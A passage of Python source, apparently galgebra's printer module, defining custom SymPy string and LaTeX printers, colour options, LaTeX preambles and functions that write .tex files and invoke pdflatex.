'>'    -> '\\lfloor '\n    '<'    -> '\\rfloor '\n\nIn the case of a print statement of the form::\n\n    print(title, A)\n\neverything in the title processing still applies except that the multivector\nformatting is one multivector per line.\n\nFor print statements of the form::\n\n    print(title)\n\nwhere no program variables are printed if title contains `#` then title\nis printed as regular latex line.  If title does not contain `#` then\ntitle is printed in equation mode. `%` has the same effect in title as\nin the ``Fmt()`` member function.\n\"\"\"\n\nimport copy\nimport os\nimport sys\nimport io\nimport builtins\nimport functools\nimport inspect\nimport re\nimport shutil\nimport warnings\nfrom collections import ChainMap\n\nfrom sympy import MatrixBase, Basic, S, Symbol, Function, Derivative, Pow\nfrom sympy.printing.str import StrPrinter\nfrom sympy.printing.conventions import split_super_sub\nfrom sympy.printing.latex import (\n    LatexPrinter, accepted_latex_functions, other_symbols\n)\nfrom sympy.core.function import _coeff_isneg\nfrom sympy.core.operations import AssocOp\nfrom sympy import init_printing\nfrom sympy.core.alphabets import greeks\n\ntry:\n    from IPython.display import display, Latex, Math, display_latex\nexcept ImportError:\n    pass\ntry:\n    from sympy.interactive import printing\nexcept ImportError:\n    pass\n\nfrom inspect import getouterframes, currentframe\n\nfrom ._utils import parser as _parser\nfrom ._utils.printable import Printable as SympyPrintable\n\nZERO_STR = ' 0 '\n\nFormat_cnt = 0\n\nip_cmds = r\"\"\"\n$\\DeclareMathOperator{\\Tr}{Tr}\n\\DeclareMathOperator{\\Adj}{Adj}\n\\newcommand{\\bfrac}[2]{\\displaystyle\\frac{#1}{#2}}\n\\newcommand{\\lp}{\\left (}\n\\newcommand{\\rp}{\\right )}\n\\newcommand{\\paren}[1]{\\lp {#1} \\rp}\n\\newcommand{\\half}{\\frac{1}{2}}\n\\newcommand{\\llt}{\\left <}\n\\newcommand{\\rgt}{\\right >}\n\\newcommand{\\abs}[1]{\\left |{#1}\\right | }\n\\newcommand{\\pdiff}[2]{\\bfrac{\\partial {#1}}{\\partial {#2}}}\n\\newcommand{\\npdiff}[3]{\\bfrac{\\partial^{#3} {#1}}{\\partial {#2}^{#3}}}\n\\newcommand{\\lbrc}{\\left \\{}\n\\newcommand{\\rbrc}{\\right \\}}\n\\newcommand{\\W}{\\wedge}\n\\newcommand{\\prm}[1]{{#1}'}\n\\newcommand{\\ddt}[1]{\\bfrac{d{#1}}{dt}}\n\\newcommand{\\R}{\\dagger}\n\\newcommand{\\deriv}[3]{\\bfrac{d^{#3}#1}{d{#2}^{#3}}}\n\\newcommand{\\grade}[1]{\\left < {#1} \\right >}\n\\newcommand{\\f}[2]{{#1}\\lp {#2} \\rp}\n\\newcommand{\\eval}[2]{\\left . {#1} \\right |_{#2}}$\n\"\"\"\n\nSYS_CMD = {'linux2': {'rm': 'rm', 'evince': 'evince', 'null': ' > /dev/null', '&': '&'},\n           'linux': {'rm': 'rm', 'evince': 'evince', 'null': ' > /dev/null', '&': '&'},\n           'win32': {'rm': 'del', 'evince': 'start', 'null': ' > NUL', '&': ''},\n           'darwin': {'rm': 'rm', 'evince': 'open', 'null': ' > /dev/null', '&': '&'}}\n\n\ndef isinteractive():  #Is ipython running\n    \"\"\"\n    We will assume that if ipython is running then jupyter notebook is\n    running.\n    \"\"\"\n    try:\n        __IPYTHON__\n        return True\n    except NameError:\n        return False\n\n\ndef ostr(obj, dict_mode=False, indent=True):\n    return GaPrinter(dict(dict_mode=dict_mode)).doprint(obj)\n\n\ndef find_functions(expr):\n    f_lst = []\n    for f in list(expr.atoms(Function)):\n        if str(f) not in GaPrinter.function_names:\n            f_lst.append(f)\n    f_lst += list(expr.atoms(Derivative))\n    return f_lst\n\n\ndef coef_simplify(expr):\n    # fcts = find_functions(expr)\n    # return expr.collect(fcts)\n    return expr\n\n\ndef oprint(*args, dict_mode=False):\n    \"\"\"\n    Debug printing for iterated (list/tuple/dict/set) objects. args is\n    of form ``(title1, object1, title2, object2, ...)`` and prints::\n\n        title1 = object1\n        title2 = object2\n        ...\n\n    If you only wish to print a title set ``object = None``.\n    \"\"\"\n\n    if isinstance(args[0], str) or args[0] is None:\n        titles = args[0::2]\n        objs = args[1::2]\n        strs = [\n            ostr(obj, dict_mode) if obj is not None else None\n            for obj in objs\n        ]\n        n = max((\n            len(title)\n            for title, s in zip(titles, strs)\n            if s is not None and '\\n' not in s\n        ), default=0)\n\n        for title, s in zip(titles, strs):\n            if s is None:\n                print(title)\n            else:\n                npad = n - len(title)\n                if '\\n' in s:\n                    print(title + ':\\n' + s)\n                else:\n                    print(title + npad * ' ' + ' = ' + s)\n    else:\n        for arg in args:\n            print(ostr(arg, dict_mode))\n\n\n_ansi_colors = {\n    'black':       '\\033[0;30m', 'dark gray':     '\\033[1;30m',\n    'red':         '\\033[0;31m', 'bright red':    '\\033[1;31m',\n    'green':       '\\033[0;32m', 'bright green':  '\\033[1;32m',\n    'yellow':      '\\033[0;33m', 'bright yellow': '\\033[1;33m',\n    'blue':        '\\033[0;34m', 'bright blue':   '\\033[1;34m',\n    'purple':      '\\033[0;35m', 'bright purple': '\\033[1;35m',\n    'cyan':        '\\033[0;36m', 'bright cyan':   '\\033[1;36m',\n    'bright gray': '\\033[0;37m', 'white':         '\\033[1;37m',\n}\n_ansi_reset = '\\033[0m'\n\n\ndef _apply_ansi_color(color: str, text: str) -> str:\n    if color is None:\n        return text\n    else:\n        return _ansi_colors.get(color, color) + text + _ansi_reset\n\n\ndef enhance_print(base='blue', fct='red', deriv='cyan'):\n    \"\"\" Enable ansi color codes in plain-text formatting.\n\n    Valid color names are:\n\n    {colors}\n\n    Pass ``None`` to disable coloring.\n    \"\"\"\n    GaPrinter.set_global_settings(\n        function_color=fct,\n        derivative_color=deriv,\n        basis_vector_color=base,\n    )\n\n\n# patch the docstring using our known color names\nenhance_print.__doc__ = enhance_print.__doc__.format(colors='\\n    '.join(\n    \" - ``{!r}``\".format(k) for k in _ansi_colors\n))\n\n\ndef Eprint(*args, **kwargs):\n    \"\"\" Alias for :func:`enhance_print` \"\"\"\n    return enhance_print(*args, **kwargs)\n\n\nclass GaPrinter(StrPrinter):\n    \"\"\"\n    This subclass of the builtin string printer makes some customizations which\n    make output a little more readable for GA usage.\n\n    The customizations are:\n\n    * :class:`~sympy.core.function.Derivative` objects are printed as ``D{x}y``\n      instead of ``Derivative(y, x)``.\n    * :class:`~sympy.core.function.Function` objects are printed without\n      arguments. This is useful for defining fields over\n      :attr:`~galgebra.ga.Ga.coords`, but sometimes misfires.\n    * A new ``dict_mode`` setting, which when ``True`` prints :class:`dict`\n      objects with ``->`` and one entry per line.\n    * New ANSI color settings:\n\n      * ``derivative_color``, for adjusting the color of ``D{x}``.\n      * ``function_color``, for adjusting the color of argument-less functions.\n      * ``basis_vector_color``, for adjusting the color of basis vector symbols.\n\n    When :mod:`galgebra.printer` is imported, builtin sympy objects are patched\n    to use this printer for their ``__repr__`` instead of the builtin\n    :class:`~sympy.printing.str.StrPrinter`. There is currently no way to\n    disable this patching.\n    \"\"\"\n\n    _default_settings = ChainMap({\n        # if true, print dicts with `->` instead of `:`, one entry per line\n        \"dict_mode\": False,\n        \"derivative_color\": None,\n        \"function_color\": None,\n        \"basis_vector_color\": None,\n    }, StrPrinter._default_settings)\n\n    function_names = ('acos', 'acosh', 'acot', 'acoth', 'arg', 'asin', 'asinh',\n                      'atan', 'atan2', 'atanh', 'ceiling', 'conjugate', 'cos',\n                      'cosh', 'cot', 'coth', 'exp', 'floor', 'im', 'log', 're',\n                      'root', 'sin', 'sinh', 'sqrt', 'sign', 'tan', 'tanh', 'Abs')\n\n    def _print_Function(self, expr):\n        name = expr.func.__name__\n\n        if expr.func.nargs is not None:\n            if name in GaPrinter.function_names:\n                return expr.func.__name__ + \"(%s)\" % self.stringify(expr.args, \", \")\n\n        return _apply_ansi_color(\n            self._settings[\"function_color\"], \"%s\" % (name,))\n\n    def _print_BasisVectorSymbol(self, expr):\n        return _apply_ansi_color(\n            self._settings[\"basis_vector_color\"], self._print_Symbol(expr))\n\n    def _print_Derivative(self, expr):\n        # Break the following to support both py 2 & 3\n        # function, *diff_args = expr.args\n        function = expr.args[0]\n        diff_args = expr.args[1:]\n\n        xi = []\n        ni = []\n        for x, n in diff_args:\n            if x in xi:\n                i = xi.index(x)\n                ni[i] += n\n            else:\n                xi.append(self._print(x))\n                ni.append(n)\n\n        s = 'D'\n        for x, n in zip(xi, ni):\n            s += '{' + str(x) + '}'\n            if n > 1:\n                s += '^' + str(n)\n        s += str(self._print(function))\n        return _apply_ansi_color(self._settings[\"derivative_color\"], s)\n\n    def _print_dict(self, expr):\n        if not self._settings['dict_mode']:\n            return super()._print_dict(expr)\n\n        return '\\n'.join(\n            '{} -> {}'.format(self._print(k), self._print(v))\n            for k, v in expr.items()\n        )\n\n\n# Inheriting from SympyPrintable ensure we take part in interactive printing\n# customization\nclass GaPrintable(SympyPrintable):\n    \"\"\" Mixin class providing default implementations of printing hooks \"\"\"\n    def __ga_print_str__(self):\n        if GaLatexPrinter.latex_flg:\n            return GaLatexPrinter().doprint(self)\n        else:\n            return GaPrinter().doprint(self)\n\n    def __repr__(self):\n        return GaPrinter().doprint(self)\n\n\n# Change sympy builtins to use our printer by default.\n# We do this because we always have done, and stopping now would break\n# compatibility.\nif issubclass(Basic, SympyPrintable):\n    SympyPrintable.__ga_print_str__ = GaPrintable.__ga_print_str__\n    SympyPrintable.__repr__ = GaPrintable.__repr__\nelse:\n    # sympy < 1.7\n    Basic.__ga_print_str__ = GaPrintable.__ga_print_str__\n    Basic.__repr__ = GaPrintable.__repr__\n\n    MatrixBase.__ga_print_str__ = GaPrintable.__ga_print_str__\n    MatrixBase.__repr__ = GaPrintable.__repr__\n\n\n# This is the lesser of two evils. Previously, we overwrote `Basic.__str__` in\n# order to customise `print(sympy)`. This broke a bunch of assumptions inside\n# sympy, so isn't safe. Instead of clobbering `__str__`, we add a\n# `__ga_print_str__` attribute, and have `print` use it if present.\n_old_print = builtins.print\n\n\n@functools.wraps(_old_print)\ndef _print(*values, **kwargs):\n    values_new = []\n    for v in values:\n        try:\n            f = type(v).__ga_print_str__\n        except AttributeError:\n            values_new.append(v)\n        else:\n            values_new.append(f(v))\n    _old_print(*values_new, **kwargs)\n\n\nbuiltins.print = _print\n\n\nclass GaLatexPrinter(LatexPrinter):\n    r\"\"\"\n    This subclass of the builtin string printer makes some customizations which\n    make output a little more readable for GA usage.\n\n    The customizations are:\n\n    * A new ``omit_partial_derivative_fraction`` setting that affects the\n      printing of :class:`~sympy.core.function.Derivative` objects, with\n      possible values:\n\n      * ``False``, to use the *sympy* default, :math:`\\pdiff{f}{x}`.\n      * ``True``, to use a condensed notation, :math:`\\partial_{x}f`.\n\n    * A new ``omit_function_args`` setting which affects the printing of\n      :class:`~sympy.core.function.Function` objects, with possible values:\n\n      * ``False``, to use the sympy default, :math:`{{f}\\lp {x,y,z} \\rp }`.\n      * ``True``, to print as :math:`f`. This is similar to the behavior of\n        :class:`GaPrinter`.\n\n    * A change to function printing to allow function names to contain\n      subscripts and superscripts.\n\n    * Use of ``boldsymbol`` instead of ``mathbf`` for bold symbol names.\n\n    Note that this printer is not *required* for using GA objects, the base\n    class printer will work fine too.\n    \"\"\"\n    # overrides of base class settings, and new settings for our printers\n    _default_settings = ChainMap({\n        \"mat_str\": \"array\",\n        \"omit_function_args\": False,\n        \"omit_partial_derivative_fraction\": False,\n    }, LatexPrinter._default_settings)\n\n    latex_flg = False\n    latex_str = ''\n    ipy = False\n\n    preamble = \\\n\"\"\"\n\\\\pagestyle{empty}\n\\\\usepackage[latin1]{inputenc}\n\\\\usepackage{amsmath}\n\\\\usepackage{amsfonts}\n\\\\usepackage{amssymb}\n\\\\usepackage{amsbsy}\n\\\\usepackage{tensor}\n\\\\usepackage{listings}\n\\\\usepackage{color}\n\\\\usepackage{xcolor}\n\\\\usepackage{bm}\n\\\\usepackage{breqn}\n\\\\definecolor{gray}{rgb}{0.95,0.95,0.95}\n\\\\setlength{\\\\parindent}{0pt}\n\\\\DeclareMathOperator{\\\\Tr}{Tr}\n\\\\DeclareMathOperator{\\\\Adj}{Adj}\n\\\\newcommand{\\\\bfrac}[2]{\\\\displaystyle\\\\frac{#1}{#2}}\n\\\\newcommand{\\\\lp}{\\\\left (}\n\\\\newcommand{\\\\rp}{\\\\right )}\n\\\\newcommand{\\\\paren}[1]{\\\\lp {#1} \\\\rp}\n\\\\newcommand{\\\\half}{\\\\frac{1}{2}}\n\\\\newcommand{\\\\llt}{\\\\left <}\n\\\\newcommand{\\\\rgt}{\\\\right >}\n\\\\newcommand{\\\\abs}[1]{\\\\left |{#1}\\\\right | }\n\\\\newcommand{\\\\pdiff}[2]{\\\\bfrac{\\\\partial {#1}}{\\\\partial {#2}}}\n\\\\newcommand{\\\\lbrc}{\\\\left \\\\{}\n\\\\newcommand{\\\\rbrc}{\\\\right \\\\}}\n\\\\newcommand{\\\\W}{\\\\wedge}\n\\\\newcommand{\\\\prm}[1]{{#1}'}\n\\\\newcommand{\\\\ddt}[1]{\\\\bfrac{d{#1}}{dt}}\n\\\\newcommand{\\\\R}{\\\\dagger}\n\\\\newcommand{\\\\deriv}[3]{\\\\bfrac{d^{#3}#1}{d{#2}^{#3}}}\n\\\\newcommand{\\\\grade}[1]{\\\\left < {#1} \\\\right >}\n\\\\newcommand{\\\\f}[2]{{#1}\\\\lp{#2}\\\\rp}\n\\\\newcommand{\\\\eval}[2]{\\\\left . {#1} \\\\right |_{#2}}\n\\\\newcommand{\\\\Nabla}{\\\\boldsymbol{\\\\nabla}}\n\\\\newcommand{\\\\eb}{\\\\boldsymbol{e}}\n\\\\usepackage{float}\n\\\\floatstyle{plain} % optionally change the style of the new float\n\\\\newfloat{Code}{H}{myc}\n\\\\lstloadlanguages{Python}\n\n\\\\begin{document}\n\"\"\"\n    postscript = '\\\\end{document}\\n'\n    macros = '\\\\newcommand{\\\\f}[2]{{#1}\\\\left ({#2}\\\\right )}'\n\n    # Used by _print_Symbol\n    greek_translated = {'lamda': 'lambda', 'Lamda': 'Lambda'}\n    other = other_symbols | {'infty'}\n    special_alphabet = list(reversed(sorted(list(greeks) + list(other), key=len)))\n\n    @staticmethod\n    def redirect():\n        GaLatexPrinter.latex_flg = True\n        if GaLatexPrinter.ipy:\n            pass\n        else:\n            GaLatexPrinter.stdout = sys.stdout\n            sys.stdout = io.StringIO()\n\n    @staticmethod\n    def restore():\n        if GaLatexPrinter.latex_flg:\n            if not GaLatexPrinter.ipy:\n                GaLatexPrinter.latex_str += sys.stdout.getvalue()\n            GaLatexPrinter.latex_flg = False\n            if not GaLatexPrinter.ipy:\n                sys.stdout = GaLatexPrinter.stdout\n\n    def _print_Pow(self, expr):\n        base = self._print(expr.base)\n        if ('_' in base or '^' in base) and 'cdot' not in base:\n            mode = True\n        else:\n            mode = False\n\n        # Treat x**Rational(1, n) as special case\n        if expr.exp.is_Rational and abs(expr.exp.p) == 1 and expr.exp.q != 1:\n            #base = self._print(expr.base)\n            expq = expr.exp.q\n\n            if expq == 2:\n                tex = r\"\\sqrt{%s}\" % base\n            elif self._settings['itex']:\n                tex = r\"\\root{%d}{%s}\" % (expq, base)\n            else:\n                tex = r\"\\sqrt[%d]{%s}\" % (expq, base)\n\n            if expr.exp.is_negative:\n                return r\"\\frac{1}{%s}\" % tex\n            else:\n                return tex\n        elif self._settings['fold_frac_powers'] \\\n            and expr.exp.is_Rational \\\n                and expr.exp.q != 1:\n            base, p, q = self._print(expr.base), expr.exp.p, expr.exp.q\n            if mode:\n                return r\"{\\left ( %s \\right )}^{%s/%s}\" % (base, p, q)\n            else:\n                return r\"%s^{%s/%s}\" % (base, p, q)\n\n        elif expr.exp.is_Rational and expr.exp.is_negative and expr.base.is_Function:\n            # Things like 1/x\n            return r\"\\frac{%s}{%s}\" % \\\n                (1, self._print(Pow(expr.base, -expr.exp)))\n        else:\n            if expr.base.is_Function:\n                return r\"{%s}^{%s}\" % (self._print(expr.base), self._print(expr.exp))\n            else:\n                if expr.is_commutative and expr.exp == -1:\n                    #solves issue 1030\n                    #As Mul always simplify 1/x to x**-1\n                    #The objective is achieved with this hack\n                    #first we get the latex for -1 * expr,\n                    #which is a Mul expression\n                    tex = self._print(S.NegativeOne * expr).strip()\n                    #the result comes with a minus and a space, so we remove\n                    if tex[:1] == \"-\":\n                        return tex[1:].strip()\n                if self._needs_brackets(expr.base):\n                    tex = r\"\\left(%s\\right)^{%s}\"\n                else:\n                    if mode:\n                        tex = r\"{\\left ( %s \\right )}^{%s}\"\n                    else:\n                        tex = r\"%s^{%s}\"\n\n                return tex % (self._print(expr.base),\n                              self._print(expr.exp))\n\n    def _print_Symbol(self, expr, style='plain'):\n\n        def str_symbol(name_str):\n\n            def translate(s):\n                tmp = s\n\n                parse_dict = {}\n                i_sub = 1\n\n                for glyph in GaLatexPrinter.special_alphabet:\n                    escaped_glyph = '\\\\' + glyph\n                    if glyph in tmp:\n                        parse_sym = '????' + str(i_sub)\n                        i_sub += 1\n                        # If this glyph is already escaped, avoid escaping again\n                        translated_glyph = (escaped_glyph + ' ') if escaped_glyph not in tmp else glyph\n                        parse_dict[parse_sym] = translated_glyph\n                        tmp = tmp.replace(glyph, parse_sym)\n\n                for parse_sym in parse_dict:\n                    tmp = tmp.replace(parse_sym, parse_dict[parse_sym])\n\n                for glyph in GaLatexPrinter.greek_translated:\n                    if glyph in tmp:\n                        tmp = tmp.replace(glyph, GaLatexPrinter.greek_translated[glyph])\n\n                return tmp\n\n            name, supers, subs = split_super_sub(name_str)\n\n            name = translate(name)\n\n            if style == 'bold':\n                name = '\\\\boldsymbol{' + name + '}'\n\n            supers = list(map(translate, supers))\n            subs = list(map(translate, subs))\n\n            # glue all items together:\n            if len(supers) > 0:\n                name += \"^{%s}\" % \" \".join(supers)\n            if len(subs) > 0:\n                name += \"_{%s}\" % \" \".join(subs)\n\n            return name\n\n        if expr in self._settings['symbol_names']:\n            return self._settings['symbol_names'][expr]\n\n        return str_symbol(expr.name)\n\n    def _print_Function(self, expr, exp=None):\n\n        func = expr.func.__name__\n        name = func\n        if hasattr(self, '_print_' + func):\n            return getattr(self, '_print_' + func)(expr, exp)\n        else:\n            args = [str(self._print(arg)) for arg in expr.args]\n\n            # How inverse trig functions should be displayed, formats are:\n            # abbreviated: asin, full: arcsin, power: sin^-1\n            inv_trig_style = self._settings['inv_trig_style']\n            # If we are dealing with a power-style inverse trig function\n            inv_trig_power_case = False\n            # If it is applicable to fold the argument brackets\n            can_fold_brackets = self._settings['fold_func_brackets'] and \\\n                len(args) == 1 and not self._needs_function_brackets(expr.args[0])\n\n            inv_trig_table = [\"asin\", \"acos\", \"atan\", \"acot\", \"acosh\", \"asinh\", \"atanh\"]\n\n            # If the function is an inverse trig function, handle the style\n            if func in inv_trig_table:\n                if inv_trig_style == \"abbreviated\":\n                    func = func\n                elif inv_trig_style == \"full\":\n                    func = \"arc\" + func[1:]\n                elif inv_trig_style == \"power\":\n                    func = func[1:]\n                    inv_trig_power_case = True\n\n                    # Can never fold brackets if we're raised to a power\n                    if exp is not None:\n                        can_fold_brackets = False\n\n            if inv_trig_power_case:\n                if func in accepted_latex_functions:\n                    name = r\"\\%s^{-1}\" % func\n                else:\n                    name = r\"\\operatorname{%s}^{-1}\" % func\n            elif exp is not None:\n                if func in accepted_latex_functions:\n                    name = r\"\\%s^{%s}\" % (func, exp)\n                else:\n                    name = latex(Symbol(func)) + ' '\n                    if '_' in func or '^' in func:\n                        name = r'{\\left ( ' + name + r'\\right ) }^{' + exp + '}'\n                    else:\n                        name += '^{' + exp + '}'\n            else:\n                if func in accepted_latex_functions:\n                    name = r\"\\%s\" % func\n                else:\n                    name = latex(Symbol(func)) + ' '\n                    if exp is not None:\n                        if '_' in name or '^' in name:\n                            name = r'\\left ( ' + name + r'\\right )^{' + exp + '}'\n                        else:\n                            name += '^{' + exp + '}'\n\n            if can_fold_brackets:\n                if func in accepted_latex_functions:\n                    # Wrap argument safely to avoid parse-time conflicts\n                    # with the function name itself\n                    name += r\" {%s}\"\n                else:\n                    if not self._settings[\"omit_function_args\"]:\n                        name += r\"%s\"\n            else:\n                if func in accepted_latex_functions or not self._settings[\"omit_function_args\"]:\n                    name += r\"{\\left (%s \\right )}\"\n\n            if inv_trig_power_case and exp is not None:\n                name += r\"^{%s}\" % exp\n\n            if func in accepted_latex_functions or not self._settings[\"omit_function_args\"]:\n                if len(args) == 1:\n                    name = name % args[0]\n                else:\n                    name = name % \",\".join(args)\n\n            return name\n\n    def _print_Derivative(self, expr):\n        dim = len(expr.variables)\n        imax = 1\n        if dim == 1:\n            if self._settings[\"omit_partial_derivative_fraction\"]:\n                tex = r\"\\partial_{%s}\" % self._print(expr.variables[0])\n            else:\n                tex = r\"\\frac{\\partial}{\\partial %s}\" % self._print(expr.variables[0])\n        else:\n            multiplicity, i, tex = [], 1, \"\"\n            current = expr.variables[0]\n            for symbol in expr.variables[1:]:\n                if symbol == current:\n                    i = i + 1\n                else:\n                    multiplicity.append((current, i))\n                    current, i = symbol, 1\n            else:\n                imax = max(imax, i)\n                multiplicity.append((current, i))\n\n            if self._settings[\"omit_partial_derivative_fraction\"]:\n                tex = ''\n                for x, i in multiplicity:\n                    if i == 1:\n                        tex += r\"\\partial_{%s}\" % (self._print(x),)\n                    else:\n                        tex += r\"\\partial^{%i}_{%s}\" % (i, self._print(x))\n            else:\n                for x, i in multiplicity:\n                    if i == 1:\n                        tex += r\"\\partial %s\" % self._print(x)\n                    else:\n                        tex += r\"\\partial^{%s} %s\" % (i, self._print(x))\n                tex = r\"\\frac{\\partial^{%s}}{%s} \" % (dim, tex)\n\n        if isinstance(expr.expr, AssocOp):\n            s = r\"%s\\left(%s\\right)\" % (tex, self._print(expr.expr))\n        else:\n            s = r\"%s %s\" % (tex, self._print(expr.expr))\n        return s\n\n    def _print_Determinant(self, expr):\n        # sympy `uses |X|` by default, we want `det (X)`\n        return r\"\\det\\left ( {}\\right )\".format(self._print(expr.args[0]))\n\n    @staticmethod\n    def latex(expr, **settings):\n\n        if not isinstance(expr, list):\n            return GaLatexPrinter(settings).doprint(expr)\n        else:\n            s = '\\\\begin{align*}'\n            for x in expr:\n                s += '\\n & ' + latex(x) + ' \\\\\\\\'\n            s += '\\n\\\\end{align*}'\n            return s\n\n\ndef latex(expr, **settings) -> str:\n    \"\"\"\n    Get the latex representation of expr using :class:`GaLatexPrinter`.\n\n    Takes the same options as :func:`sympy.printing.latex.latex`; see that\n    function for more information.\n\n    This can be used as the ``latex_printer`` argument to\n    :func:`~sympy.interactive.printing.init_printing` to make IPython always\n    use :class:`GaLatexPrinter`.\n    \"\"\"\n    return GaLatexPrinter(settings).doprint(expr)\n\n\ndef print_latex(expr, **settings):\n    \"\"\"Prints LaTeX representation of the given expression.\n\n    Takes the same settings as :func:`latex`.\"\"\"\n    print(latex(expr, **settings))\n\n\ndef Format(Fmode: bool = True, Dmode: bool = True, inverse='full'):\n    r\"\"\"\n    Turns on latex printing with configurable options.\n\n    This redirects printer output so that latex compiler can capture it.\n\n    ``Format()`` is also required for printing from *ipython notebook* (note that ``xpdf()`` is not needed to print from *ipython notebook*).\n\n    Parameters\n    ----------\n    Fmode:\n        Value for the ``omit_function_args`` setting of\n        :class:`GaLatexPrinter`.\n    Dmode:\n        Value for the ``omit_partial_derivative_fraction`` setting of\n        :class:`GaLatexPrinter`.\n    \"\"\"\n    global Format_cnt\n\n    GaLatexPrinter.set_global_settings(\n        omit_partial_derivative_fraction=Dmode,\n        omit_function_args=Fmode,\n        inv_trig_style=inverse,\n    )\n\n    if Format_cnt == 0:\n        Format_cnt += 1\n\n        GaLatexPrinter.latex_flg = True\n        GaLatexPrinter.redirect()\n\n        if isinteractive():\n            init_printing(\n                use_latex='mathjax',\n                latex_mode='equation*',\n                latex_printer=latex,\n                # Affects only the plaintext printing, and makes our printing\n                # tests easier to maintain\n                wrap_line=False,\n            )\n\n    return\n\n\ndef _texify(s: str) -> str:\n    \"\"\" Convert python GA operator notation to LaTeX \"\"\"\n    repl_pairs = [\n        (r'\\|', r'\\cdot '),\n        (r'\\^(?!{)', r'\\W '),\n        (r'\\*', ' '),\n        (r'\\brgrad\\b', r'\\bar{\\boldsymbol{\\nabla}} '),\n        (r'\\bgrad\\b', r'\\boldsymbol{\\nabla} '),\n        (r'>>', r' \\times '),\n        (r'<<', r' \\bar{\\times} '),\n        (r'<', r'\\rfloor '),\n        (r'>', r'\\lfloor '),\n    ]\n\n    def repl_func(m):\n        # only one group will be present, use the corresponding match\n        return next(\n            r\n            for (p, r), g in zip(repl_pairs, m.groups())\n            if g is not None\n        )\n    pattern = '|'.join(\"({})\".format(p) for p, _ in repl_pairs)\n    return re.sub(pattern, repl_func, s)\n\n\ndef tex(paper=(14, 11), debug=False, prog=False, pt='10pt'):\n    r\"\"\"\n    Post processes LaTeX output (see comments below), adds preamble and\n    postscript.\n\n    This postprocessing has two main behaviors:\n\n    1. Converting strings on the left hand side of the last ``=`` into TeX.\n       This translates the ``*``, ``^``, ``|``, ``>``, ``<``, ``<<``, ``>>``,\n       ``grad``, and ``rgrad`` operators of galgebra into the appropriate latex\n       operators. If there is no ``=`` in the line, no conversion is applied.\n\n    2. Wrapping lines of latex into ``equation*`` environments if they are not\n       already in environments, and moving labels that were prepended outside\n       ``align`` environments inside those environments.\n\n    Both behaviors are applied line by line, unless a line starts with the\n    following text:\n\n    ``#%`` or ``%``\n        Disables only behavior 1 for the rest of the line.\n\n    ``##``\n        Disables behaviors 1 and 2 until the end of the next line starting with\n        ``##``. This includes processing any of the other special characters,\n        which will be emitted verbatim.\n\n    ``#``\n        Disables behaviors 1 and 2 for the rest of the line.\n\n    We assume that if :func:`tex` is called, then :func:`Format` has been called\n    at the beginning of the program.\n    \"\"\"\n\n    latex_str = GaLatexPrinter.latex_str + sys.stdout.getvalue()\n    GaLatexPrinter.latex_str = ''\n    GaLatexPrinter.restore()\n    r\"\"\"\n    Each line in the latex_str is interpreted to be an equation or align\n    environment.  If the line does not begin with '\\begin{align*}' then\n    'begin{equation*}' will be added to the beginning of the line and\n    '\\end{equation*}' to the end of the line.\n    The latex strings generated by galgebra and sympy expressions for\n    printing must not contain '\\n' except as the final character.  Thus\n    all '\\n' must be removed from a compound (not a simple type) expression\n    and a '\\n' added to the end of the string to delimit it when the string\n    is generated.\n    \"\"\"\n    latex_lst = latex_str.split('\\n')\n    latex_str = ''\n\n    code_flg = False\n\n    for latex_line in latex_lst:\n        if not latex_line:\n            pass\n        elif latex_line.startswith('##'):\n            # a post-processing toggle used by `Print_Function`\n            code_flg = not code_flg\n            latex_line = latex_line[2:]\n        elif code_flg:\n            pass\n        elif latex_line.startswith('#') and not latex_line.startswith('#%'):\n            # do not process this line\n            latex_line = latex_line[1:]\n        else:\n            # two different spellings of \"do not process the LHS\"\n            if latex_line.startswith('%'):\n                latex_line = latex_line[1:]\n            elif latex_line.startswith('#%'):\n                latex_line = latex_line[2:]\n            # otherwise, process it if we can find it\n            elif '=' in latex_line:\n                lhs, latex_line = latex_line.rsplit('=', 1)\n                latex_line = _texify(lhs) + '=' + latex_line\n\n            # in either case, perform the environment wrapping\n            if r'\\begin{align*}' in latex_line:\n                latex_line = r'\\begin{align*} ' + latex_line.replace(r'\\begin{align*}', '', 1).lstrip()\n            else:\n                latex_line = r'\\begin{equation*} ' + latex_line.strip() + r' \\end{equation*}'\n\n        latex_str += latex_line + '\\n'\n\n    latex_str = latex_str.replace('\\n\\n', '\\n')\n\n    if prog:\n        with open(sys.argv[0], 'r') as prog_file:\n            prog_str = prog_file.read()\n        prog_str = '{\\\\Large \\\\bf Program:}\\\\begin{lstlisting}[language=Python,showspaces=false,' + \\\n                   'showstringspaces=false]\\n' + \\\n                   prog_str + '\\n\\\\end{lstlisting}\\n {\\\\Large \\\\bf Code Output:} \\n'\n        latex_str = prog_str + latex_str\n\n    if debug:\n        print(latex_str)\n\n    if paper == 'letter':\n        paper_size = \\\n\"\"\"\n\\\\documentclass[@10pt@,fleqn]{report}\n\"\"\"\n    else:\n        paper_size = \\\n\"\"\"\n\\\\documentclass[@10pt@,fleqn]{report}\n\\\\usepackage[vcentering]{geometry}\n\"\"\"\n        if paper == 'landscape':\n            paper = [11, 8.5]\n        paper_size += '\\\\geometry{papersize={' + str(paper[0]) + \\\n                      'in,' + str(paper[1]) + 'in},total={' + str(paper[0] - 1) + \\\n                      'in,' + str(paper[1] - 1) + 'in}}\\n'\n\n    paper_size = paper_size.replace('@10pt@', pt)\n    latex_str = paper_size + GaLatexPrinter.preamble + latex_str + GaLatexPrinter.postscript\n\n    return latex_str\n\n\ndef xpdf(filename=None, paper=(14, 11), crop=False, png=False, prog=False, debug=False, pt='10pt', pdfprog='pdflatex'):\n\n    \"\"\"\n    Post processes LaTeX output (see comments below), adds preamble and\n    postscript, generates tex file, inputs file to latex, displays resulting\n    pdf file.\n\n    Arg         Value       Result\n    pdfprog    'pdflatex'   Use pdfprog to generate pdf output, only generate tex if pdfprog is None\n    crop        True        Use \"pdfcrop\" to crop output file (pdfcrop must be installed, linux only)\n    png         True        Use \"convert\" to produce png output (imagemagick must be installed, linux only)\n\n    We assume that if xpdf() is called then Format() has been called at the beginning of the program.\n    \"\"\"\n\n    sys_cmd = SYS_CMD[sys.platform]\n\n    latex_str = tex(paper=paper, debug=debug, prog=prog, pt=pt)\n\n    if filename is None:\n        pyfilename = sys.argv[0]\n        rootfilename = pyfilename.replace('.py', '')\n        filename = rootfilename + '.tex'\n\n    if debug:\n        print('latex file =', filename)\n\n    latex_file = open(filename, 'w')\n    latex_file.write(latex_str)\n    latex_file.close()\n\n    latex_str = None\n\n    if pdfprog is None:\n        return\n\n    pdflatex = shutil.which(pdfprog)\n\n    if debug:\n        print('pdflatex path =', 